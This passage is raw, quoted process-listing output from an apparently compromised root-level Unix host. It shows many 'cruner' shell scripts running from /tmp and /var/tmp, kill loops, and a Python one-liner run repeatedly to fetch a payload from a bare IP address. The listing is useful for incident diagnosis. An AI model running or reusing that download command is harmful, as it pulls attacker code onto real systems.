0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25921 10551 0 15:45:23 ? 0:00 xargs kill -9 > root 29215 26198 0 15:44:10 ? 0:00 bash -sh > root 11710 21439 0 - ? 0:00 <defunct> > root 24237 23415 0 - ? 0:00 <defunct> > root 17868 26694 0 15:45:29 ? 0:00 bash -sh > root 22115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5450 27519 0 15:42:17 ? 0:00 bash -sh > root 25095 28850 0 - ? 0:00 <defunct> > root 18975 17257 0 - ? 0:00 <defunct> > root 20355 15077 0 15:45:17 ? 0:00 bash -sh > root 24374 9233 0 - ? 0:00 <defunct> > root 17142 18955 0 15:46:08 ? 0:00 sleep 60 > root 5367 17289 0 15:45:28 ? 0:00 sleep 60 > root 25642 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17931 6127 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 14883 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29885 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13092 10683 0 - ? 0:00 <defunct> > root 14058 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20709 6401 0 15:45:22 ? 0:00 bash -sh > root 25353 16389 0 - ? 0:00 <defunct> > root 19575 11558 0 - ? 0:00 <defunct> > root 14662 12351 0 15:45:51 ? 0:00 bash -sh > root 25577 1092 0 - ? 0:00 <defunct> > root 3830 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24302 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6909 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24639 24625 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24832 24809 0 - ? 0:00 <defunct> > root 18856 19418 0 - ? 0:00 <defunct> > root 22613 28744 0 15:45:47 ? 0:00 bash -sh > root 24509 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18948 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1504 9845 0 15:46:06 ? 0:00 bash -sh > root 11806 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17273 16313 0 15:45:42 ? 0:00 bash -sh > root 22117 15195 0 - ? 0:00 <defunct> > root 28232 8218 0 - ? 0:00 <defunct> > root 20826 28566 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17603 19574 0 - ? 0:00 <defunct> > root 8291 13081 0 15:45:10 ? 0:00 bash -sh > root 17475 16839 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19991 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15510 13729 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3392 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10350 28699 0 15:46:07 ? 0:00 sleep 60 > root 24690 5829 0 15:45:52 ? 0:00 xargs kill -9 > root 4379 1329 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2768 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24942 3209 0 15:45:27 ? 0:00 sleep 60 > root 21066 21041 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 233 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13520 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23998 18175 0 15:45:26 ? 0:00 sleep 60 > root 4386 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19092 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28546 29086 0 15:45:57 ? 0:00 sleep 60 > root 24428 10540 0 15:45:38 ? 0:00 bash -sh > root 13139 21487 0 - ? 0:00 <defunct> > root 25956 24403 0 15:45:57 ? 0:00 xargs kill -9 > root 21406 23955 0 15:46:09 ? 0:00 bash -sh > root 18521 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26624 26553 0 - ? 0:00 <defunct> > root 11510 26519 0 - ? 0:00 <defunct> > root 27222 4945 0 15:46:10 ? 0:00 xargs kill -9 > root 6116 15033 0 15:45:20 ? 0:00 sleep 60 > root 21329 18282 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 28188 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25783 7352 0 15:45:39 ? 0:00 bash -sh > root 17756 16422 0 - ? 0:00 <defunct> > root 16776 16771 0 - ? 0:00 <defunct> > root 23362 2118 0 15:45:38 ? 0:00 bash -sh > root 22700 7287 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 242 22723 0 15:41:00 ? 0:00 bash -sh > root 17588 12128 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22821 22236 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 26841 29677 0 15:46:02 ? 0:00 bash -sh > root 21444 27137 0 15:45:12 ? 0:00 sleep 60 > root 18149 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18762 20194 0 - ? 0:00 <defunct> > root 486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8552 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18023 10317 0 15:45:12 ? 0:00 bash -sh > root 6530 1691 0 15:45:25 ? 0:00 bash -sh > root 10700 18568 0 15:45:50 ? 0:00 sleep 60 > root 26238 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21328 19123 0 15:45:12 ? 0:00 sh /tmp/cruner > root 29420 25306 0 - ? 0:00 <defunct> > root 18670 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1833 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4661 15782 0 15:46:03 ? 0:00 bash -sh > root 21712 21695 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26880 11612 0 - ? 0:00 <defunct> > root 29094 27935 0 15:44:37 ? 0:00 bash -sh > root 13750 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5447 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21150 20992 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1268 9352 0 15:46:06 ? 0:00 bash -sh > root 1302 12831 0 - ? 0:00 <defunct> > root 14020 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12385 703 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8561 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17767 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3688 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25839 27099 0 15:44:54 ? 0:00 bash -sh > root 21723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3154 13888 0 15:45:14 ? 0:00 bash -sh > root 7057 22851 0 - ? 0:00 <defunct> > root 3709 11373 0 15:46:03 ? 0:00 sleep 60 > root 18816 20883 0 - ? 0:00 <defunct> > root 15093 2227 0 15:43:20 ? 0:00 bash -sh > root 12387 8114 0 - ? 0:00 <defunct> > root 10551 27039 0 15:44:47 ? 0:00 bash -sh > root 25207 11452 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28793 28772 0 15:45:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11707 20813 0 15:45:32 ? 0:00 bash -sh > root 22055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10451 20301 0 - ? 0:00 <defunct> > root 15935 6487 0 15:46:08 ? 0:00 sh /tmp/cruner > root 26060 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9711 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15042 28824 0 - ? 0:00 <defunct> > root 9481 8943 0 15:45:59 ? 0:00 sleep 60 > root 4248 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1794 26295 0 15:45:48 ? 0:00 sleep 60 > root 17991 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21644 21006 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7437 22491 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 10013 8914 0 15:45:15 ? 0:00 bash -sh > root 28615 6232 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 17895 16448 0 - ? 0:00 <defunct> > root 7071 590 0 - ? 0:00 <defunct> > root 15083 1702 0 - ? 0:00 <defunct> > root 8574 21504 0 15:45:58 ? 0:00 sleep 60 > root 6221 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9536 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29073 15412 0 15:42:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14836 3765 0 15:46:00 ? 0:00 bash -sh > root 20245 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18041 21751 0 - ? 0:00 <defunct> > root 685 639 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13460 13376 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23670 26053 0 - ? 0:00 <defunct> > root 19932 10538 0 15:45:42 ? 0:00 sleep 60 > root 19418 9171 0 15:45:16 ? 0:00 bash -sh > root 21547 10178 0 15:45:42 ? 0:00 bash -sh > root 15217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3645 1793 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26857 26851 0 15:43:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3612 2280 0 15:45:48 ? 0:00 sh /tmp/cruner > root 13580 13336 0 15:44:16 ? 0:00 bash -sh > root 27110 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14894 7496 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 14666 13707 0 15:46:04 ? 0:00 bash -sh > root 25909 14311 0 15:46:10 ? 0:00 bash -sh > root 28988 6224 0 15:45:24 ? 0:00 sleep 60 > root 18702 21485 0 - ? 0:00 <defunct> > root 11430 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3849 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1969 5855 0 15:45:48 ? 0:00 sleep 60 > root 10326 21024 0 15:45:10 ? 0:00 sleep 60 > root 6864 6863 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3766 19311 0 15:45:44 ? 0:00 bash -sh > root 9913 9908 0 15:44:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5617 5590 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23754 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2120 15672 0 15:45:19 ? 0:00 sleep 60 > root 21970 10594 0 - ? 0:00 <defunct> > root 4270 24441 0 15:45:35 ? 0:00 sleep 60 > root 12115 1192 0 15:45:11 ? 0:00 xargs kill -9 > root 28931 2013 0 15:44:59 ? 0:00 bash -sh > root 23011 4879 0 15:45:47 ? 0:00 xargs kill -9 > root 11154 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27161 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8265 6024 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22152 9241 0 - ? 0:00 <defunct> > root 29904 5329 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 1481 18384 0 15:44:55 ? 0:00 bash -sh > root 16146 10901 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 25301 4666 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 8393 27434 0 15:44:51 ? 0:00 bash -sh > root 25303 5430 0 - ? 0:00 <defunct> > root 12420 15237 0 15:46:08 ? 0:00 sleep 60 > root 15573 6886 0 15:45:25 ? 0:00 bash -sh > root 1928 1907 0 - ? 0:00 <defunct> > root 9432 14370 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 6894 3369 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15389 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23710 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16760 10529 0 - ? 0:00 <defunct> > root 4338 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28868 8132 0 - ? 0:00 <defunct> > root 23262 13602 0 15:45:47 ? 0:00 bash -sh > root 13475 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9512 12443 0 15:46:07 ? 0:00 sleep 60 > root 8837 806 0 15:43:43 ? 0:00 bash -sh > root 15477 8078 0 - ? 0:00 <defunct> > root 12162 11021 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14747 2730 0 - ? 0:00 <defunct> > root 2706 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2040 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11910 23727 0 15:45:11 ? 0:00 bash -sh > root 9664 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27378 7460 0 15:45:39 ? 0:00 xargs kill -9 > root 3061 4557 0 15:45:54 ? 0:00 bash -sh > root 14613 14847 0 - ? 0:00 <defunct> > root 16115 7700 0 15:44:35 ? 0:00 bash -sh > root 24096 14743 0 15:45:17 ? 0:00 sleep 60 > root 9121 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1774 22734 0 15:45:48 ? 0:00 sleep 60 > root 17934 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1496 23377 0 15:45:53 ? 0:00 sleep 60 > root 13550 14195 0 15:45:11 ? 0:00 sleep 60 > root 12018 1 0 20:00:32 ? 0:00 sh /var/tmp/cruner > root 8033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15202 9761 0 15:45:37 ? 0:00 xargs kill -9 > root 13445 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29554 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27381 11346 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 26218 19819 0 15:43:05 ? 0:00 bash -sh > root 7980 16562 0 15:45:36 ? 0:00 bash -sh > root 20807 11948 0 - ? 0:00 <defunct> > root 26158 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19200 23395 0 15:46:09 ? 0:00 xargs kill -9 > root 24923 24890 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14869 7673 0 15:45:11 ? 0:00 bash -sh > root 18739 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20469 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22412 9353 0 15:45:17 ? 0:00 sleep 60 > root 26525 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20640 22535 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23224 2717 0 15:46:05 ? 0:00 sleep 60 > root 12751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21190 10497 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7132 11196 0 15:45:04 ? 0:00 bash -sh > root 3430 19110 0 - ? 0:00 <defunct> > root 23408 21297 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22659 11847 0 15:45:42 ? 0:00 xargs kill -9 > root 19883 12278 0 15:45:22 ? 0:00 bash -sh > root 1619 2916 0 21:32:58 ? 0:02 /opt/csw/sbin/sshd -R > root 19458 8257 0 - ? 0:00 <defunct> > root 3253 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6216 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26926 23117 0 15:45:43 ? 0:00 sleep 60 > root 19538 26145 0 15:45:22 ? 0:00 xargs kill -9 > root 29730 19785 0 15:45:18 ? 0:00 sleep 60 > root 5156 1033 0 - ? 0:00 <defunct> > root 26727 3996 0 - ? 0:00 <defunct> > root 29361 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24803 9554 0 - ? 0:00 <defunct> > root 21215 28288 0 15:43:34 ? 0:00 bash -sh > root 24213 120 0 15:46:01 ? 0:00 xargs kill -9 > root 2295 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8904 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20242 13544 0 15:45:26 ? 0:00 bash -sh > root 17488 2386 0 - ? 0:00 <defunct> > root 16094 26370 0 15:45:22 ? 0:00 sleep 60 > root 3665 1789 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10553 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1074 14877 0 15:45:39 ? 0:00 sh /tmp/cruner > root 8144 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2538 14316 0 15:45:48 ? 0:00 sleep 60 > root 13401 3064 0 - ? 0:00 <defunct> > root 22476 19044 0 15:45:23 ? 0:00 sleep 60 > root 10456 18705 0 15:45:10 ? 0:00 sh /var/tmp/cruner > root 9608 11582 0 - ? 0:00 <defunct> > root 17729 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 997 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2502 11524 0 15:45:48 ? 0:00 sleep 60 > root 25156 876 0 - ? 0:00 <defunct> > root 13975 12045 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13716 21362 0 15:45:11 ? 0:00 sh /tmp/cruner > root 8567 25142 0 15:44:24 ? 0:00 bash -sh > root 14300 19502 0 15:44:52 ? 0:00 bash -sh > root 7802 6126 0 15:45:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12132 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7418 7413 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23504 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28807 17897 0 15:44:41 ? 0:00 bash -sh > root 29157 11108 0 15:45:34 ? 0:00 sleep 60 > root 10157 11226 0 15:45:45 ? 0:00 sleep 60 > root 169 1 0 20:43:37 ? 0:00 sh /var/tmp/cruner > root 3788 17004 0 15:45:54 ? 0:00 bash -sh > root 3091 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17186 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3325 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11711 7857 0 15:45:29 ? 0:00 bash -sh > root 25987 10677 0 15:45:47 ? 0:00 sleep 60 > root 12832 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28528 24210 0 15:45:18 ? 0:00 sleep 60 > root 22930 22194 0 15:43:04 ? 0:00 bash -sh > root 22712 17010 0 15:45:30 ? 0:00 sleep 60 > root 9688 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19965 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5436 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15236 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8412 11238 0 - ? 0:00 <defunct> > root 21834 2603 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 17651 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21368 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14738 17957 0 15:45:46 ? 0:00 bash -sh > root 26009 5874 0 - ? 0:00 <defunct> > root 9334 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16020 10922 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8739 29195 0 15:44:14 ? 0:00 bash -sh > root 28965 392 0 - ? 0:00 <defunct> > root 19586 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29502 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29369 14749 0 15:45:44 ? 0:00 sh /tmp/cruner > root 17993 29695 0 15:44:06 ? 0:00 bash -sh > root 7750 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4690 19882 0 15:45:54 ? 0:00 bash -sh > root 9779 413 0 - ? 0:00 <defunct> > root 14880 18091 0 15:43:44 ? 0:00 bash -sh > root 21640 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16373 16166 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4195 20630 0 15:46:06 ? 0:00 sleep 60 > root 5926 2583 0 - ? 0:00 <defunct> > root 6719 6715 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25443 22265 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 5526 5510 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1704 11317 0 15:45:27 ? 0:00 sleep 60 > root 12619 4895 0 15:45:11 ? 0:00 sleep 60 > root 2452 6515 0 15:45:24 ? 0:00 sleep 60 > root 9852 9844 0 15:45:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6848 22276 0 15:45:09 ? 0:00 bash -sh > root 28146 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22769 20653 0 15:45:52 ? 0:00 bash -sh > root 15227 19951 0 15:46:04 ? 0:00 sleep 60 > root 1015 26054 0 15:44:11 ? 0:00 bash -sh > root 7100 7136 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 10764 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21730 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12855 6117 0 15:45:41 ? 0:00 sleep 60 > root 12418 10325 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4177 5088 0 - ? 0:00 <defunct> > root 21600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25436 17467 0 15:45:43 ? 0:00 xargs kill -9 > root 23560 10430 0 15:43:23 ? 0:00 bash -sh > root 15667 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18060 8132 0 - ? 0:00 <defunct> > root 7242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2505 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22273 10299 0 - ? 0:00 <defunct> > root 4155 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5068 8569 0 15:45:20 ? 0:00 sleep 60 > root 26142 26092 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15845 17136 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14674 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3730 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22675 18809 0 15:43:28 ? 0:00 bash -sh > root 9382 4415 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 3783 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6023 24419 0 15:45:20 ? 0:00 sleep 60 > root 13084 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4969 8291 0 - ? 0:00 <defunct> > root 10258 28531 0 - ? 0:00 <defunct> > root 6718 413 0 - ? 0:00 <defunct> > root 21645 13894 0 15:45:12 ? 0:00 bash -sh > root 28516 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18544 20315 0 15:46:00 ? 0:00 sleep 60 > root 28809 24873 0 15:45:43 ? 0:00 sleep 60 > root 28318 3076 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2262 28386 0 15:45:48 ? 0:00 sleep 60 > root 16454 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22387 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5619 26600 0 15:46:03 ? 0:00 sleep 60 > root 7251 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4612 24587 0 - ? 0:00 <defunct> > root 2913 15687 0 15:45:00 ? 0:00 bash -sh > root 18578 7371 0 - ? 0:00 <defunct> > root 22689 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26583 20245 0 15:46:01 ? 0:00 bash -sh > root 11230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25852 22853 0 - ? 0:00 <defunct> > root 17704 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17478 28167 0 15:46:08 ? 0:00 sleep 60 > root 21766 8185 0 15:45:57 ? 0:00 xargs kill -9 > root 23535 9793 0 15:45:43 ? 0:00 sleep 60 > root 26629 28454 0 15:45:07 ? 0:00 bash -sh > root 1593 3413 0 15:45:48 ? 0:00 sleep 60 > root 8808 22601 0 15:45:49 ? 0:00 sleep 60 > root 16336 6377 0 15:45:46 ? 0:00 bash -sh > root 27530 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23289 14356 0 - ? 0:00 <defunct> > root 14640 5202 0 - ? 0:00 <defunct> > root 10187 10131 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2987 21282 0 15:44:12 ? 0:00 bash -sh > root 25816 17542 0 15:44:54 ? 0:00 sh /tmp/cruner > root 9102 19319 0 15:45:15 ? 0:00 sleep 60 > root 28966 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20518 4070 0 - ? 0:00 <defunct> > root 15539 17712 0 15:45:11 ? 0:00 bash -sh > root 6547 1788 0 15:46:06 ? 0:00 bash -sh > root 23233 13891 0 15:46:01 ? 0:00 sh /tmp/cruner > root 5939 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1550 15026 0 15:45:44 ? 0:00 bash -sh > root 2423 10233 0 15:46:06 ? 0:00 sleep 60 > root 21455 9189 0 15:44:53 ? 0:00 bash -sh > root 3024 13759 0 15:45:48 ? 0:00 sleep 60 > root 2925 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13178 11902 0 15:45:50 ? 0:00 bash -sh > root 2761 15941 0 15:45:48 ? 0:00 sh /tmp/cruner > root 9081 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23411 3282 0 15:44:08 ? 0:00 bash -sh > root 3414 29658 0 - ? 0:00 <defunct> > root 13724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13727 5237 0 - ? 0:00 <defunct> > root 6181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24911 16363 0 15:45:13 ? 0:00 bash -sh > root 19465 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22733 21407 0 15:45:38 ? 0:00 sleep 60 > root 19798 25260 0 15:45:38 ? 0:00 bash -sh > root 7141 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27386 28183 0 15:45:34 ? 0:00 sleep 60 > root 9288 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23902 25596 0 15:46:10 ? 0:00 bash -sh > root 15576 11865 0 15:45:25 ? 0:00 bash -sh > root 24469 14225 0 15:44:54 ? 0:00 bash -sh > root 23743 7465 0 - ? 0:00 <defunct> > root 3769 9295 0 15:46:06 ? 0:00 sleep 60 > root 25835 19776 0 15:43:53 ? 0:00 bash -sh > root 25798 22828 0 15:44:54 ? 0:00 bash -sh > root 12942 23005 0 - ? 0:00 <defunct> > root 18445 22754 0 15:46:00 ? 0:00 sleep 60 > root 5018 28189 0 15:45:54 ? 0:00 bash -sh > root 21548 13626 0 15:45:42 ? 0:00 bash -sh > root 18351 1776 0 - ? 0:00 <defunct> > root 24858 10467 0 15:46:05 ? 0:00 sleep 60 > root 19934 11389 0 - ? 0:00 <defunct> > root 19742 11964 0 15:45:46 ? 0:00 xargs kill -9 > root 14993 6014 0 15:45:29 ? 0:00 sleep 60 > root 23330 13265 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21932 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28378 6943 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 34 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21809 15992 0 - ? 0:00 <defunct> > root 3713 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3595 27993 0 15:44:50 ? 0:00 bash -sh > root 24200 24542 0 15:43:35 ? 0:00 bash -sh > root 4396 24039 0 15:45:40 ? 0:00 sleep 60 > root 24956 24915 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print 